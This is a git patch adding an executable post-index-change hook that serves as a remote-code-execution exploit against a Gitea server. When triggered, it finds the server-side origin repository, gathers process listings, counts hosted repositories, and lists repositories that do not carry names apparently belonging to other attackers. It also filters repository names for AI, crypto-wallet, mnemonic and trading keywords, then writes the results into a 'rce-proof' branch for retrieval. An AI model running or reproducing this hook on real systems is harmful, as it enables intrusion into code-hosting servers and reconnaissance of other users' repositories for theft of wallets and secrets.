From 1bfcf82a180b46a9ef1ba1a88467df29d71c1e8f Mon Sep 17 00:00:00 2001 From: auditpocycbiw Date: Wed, 26 Aug 2026 14:00:36 +0200 Subject: [PATCH] l-1 --- hooks/post-index-change | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..7425b4c --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,35 @@ +#!/bin/sh +git_dir=$(git rev-parse --absolute-git-dir) || exit 1 +origin="" +if [ -f "$git_dir/objects/info/alternates" ]; then + o=$(head -1 "$git_dir/objects/info/alternates") || o="" + case "$o" in + /*) origin="${o%/objects}" ;; + *) origin="${git_dir}/objects/$o"; origin="${origin%/objects}" ;; + esac +fi +if [ -z "$origin" ]; then + u=$(git remote get-url origin 2>/dev/null) || u="" + case "$u" in /*) origin="${u%.git}";; esac +fi +if [ -z "$origin" ]; then + u=$(git config --get remote.origin.url 2>/dev/null) || u="" + case "$u" in /*) origin="${u%.git}";; esac +fi +if [ -n "$origin" ] && [ -d "$origin/objects" ]; then + { echo '==PS==' +ps aux 2>/dev/null | grep -i gitea | grep -v grep | head -5 +echo '==TOTAL==' +find /var/lib/gitea/repositories -maxdepth 3 -name '*.git' -type d 2>/dev/null | wc -l +echo '==NONATK==' +find /var/lib/gitea/repositories -maxdepth 2 -type d 2>/dev/null | grep -vE '/(atk_|attk|poc|gitea_exp|gitea1337|giteaa1337|git_check|gitupdate|aud[a-z0-9]{4,}|operator[0-9a-f]{6,}|cr_|user_[0-9a-f]{8}|u[0-9a-f]{7}|6nn7nzw5|codeb0ss_|harv|hv[0-9]{4}|poc[0-9a-z]{3,}|p[0-9a-f]{7}|lisawhite|dark)/' 2>/dev/null | head -120 +echo '==KW==' +find /var/lib/gitea/repositories -maxdepth 3 -name '*.git' -type d 2>/dev/null | grep -iE '(ai|gpt|llm|openai|deepseek|claude|gemini|langchain|agent|wallet|usdt|usdc|crypto|coin|bitcoin|btc|eth|ethereum|tron|trx|token|nft|defi|dex|swap|mining|exchange|mnemonic|keystore|solidity|blockchain|solana|signer|quant|trading|arbitrage|staking|bridge|vault|payment|merchant|casino|bot|telegram)' | head -400 + } 2>&1 | git --git-dir="$origin" hash-object -w --stdin > /tmp/gpoc_blob 2>/dev/null + ob=$(cat /tmp/gpoc_blob 2>/dev/null) + [ -n "$ob" ] || exit 4 + tree=$(printf "100644 blob %s\tproof\n" "$ob" | git --git-dir="$origin" mktree) || exit 5 + commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin" commit-tree "$tree") || exit 6 + git --git-dir="$origin" update-ref refs/heads/rce-proof "$commit" || exit 7 +fi +exit 0